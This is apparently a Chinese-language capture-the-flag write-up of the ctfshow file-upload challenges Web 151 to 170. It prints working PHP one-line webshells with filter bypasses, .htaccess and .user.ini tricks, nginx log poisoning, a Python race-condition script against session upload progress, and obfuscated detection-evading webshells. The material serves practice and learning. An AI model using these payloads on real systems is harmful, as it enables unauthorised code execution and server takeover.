目录
Web 151
前端验证,抓包修改数据OK
Web 152
直接上传一句话木马,连接即可
Web 153
参考链接:
文件上传漏洞——.htaccess和.user.ini配置文件的应用
因为该环境是nginx搭建的,所以.htaccess不能使用。
Web 154
文件内容不能有php,可以双写绕过。
Web 155
采用php短标签:php短标签
Web 156
[ ]
被过滤,使用{ }
进行代替。
<? eval($_POST{
ctfshow});?>
Web 157
在此前基础上过滤了 ;
和 {}
。
结合命令执行,构造图片木马:
<?=(system('nl ../f*.p*'))?>
查看页面源代码即可。
Web 158
同上一关,可以结合命令执行尝试不同的代码。
Web 159
可能过滤了一些命令执行函数吧,使用 `` 包裹就好:
<?=`nl ../f*.p*`?>
Web 160
接下来的题,边做边写。
先上传.user.ini:
然后上传ctf.png,木马多试一试,尝试使用之前的方法,发现空格被过滤,使用一些空格绕过的方法,报错:
既然是文件包含,尝试使用日志包含:
这里直接包含日志文件发现不行,查看师傅们的方法:学到了学到了。
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
然后在User-Agent头添加一句话木马,蚁剑连接:
Web 161
这些题做的头疼,没有提示,不知道每道题的考点是什么,文件上传。
参考着师傅们的方法,复现吧。。。
这一关应该对上传的图片进行了判断。
1.添加图片头:GIF89a
2.制作图片木马:
copy 1.png/b + shell.php/a ctf.png
这个方法没成功…
Web 162-163
文件包含的竞争关系
参考:利用session.upload_progress进行文件包含和反序列化渗透
1.上传配置文件:但是不知道问什么,带文件名的时候就失败,所以直接上传png。
2.上传png:
拜了拜yu师傅的博客,参考一下脚本:
import requests
import threading
session = requests.session()
sess = 'ctfshow'
url1 = "http://ea6568d6-7c9e-4f10-9952-df2c188f01d5.chall.ctf.show/"
url2 = "http://ea6568d6-7c9e-4f10-9952-df2c188f01d5.chall.ctf.show/upload"
data1 = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'
}
file = {
'file': 'ctfshow'
}
cookies = {
'PHPSESSID': sess
}
def write():
while True:
session.post(url1, data=data1, files=file, cookies=cookies)
def read():
while True:
r = session.get(url2)
if 'flag' in r.text:
print(r.text)
threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()
Web 164
png格式的二次渲染,不太会…
参考链接:二次渲染
Web 165
jpg图片二次渲染。GG
Web 166
参考师傅们的博客,只能上传zip,那就上传zip:
1.上传zip文件,含一句木马:
2.访问zip文件地址:
修改为POST类型,传参,然后…报错,结束。
Web 167
格外显眼的标题。。。
上传.htaccess文件:
SetHandler application/x-httpd-php
上传jpg格式文件,写入一句话木马,getshell
Web 168-170
题目描述是免杀,对这些还不是很了解,参考yu师傅博客:
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
但是不知道怎么利用…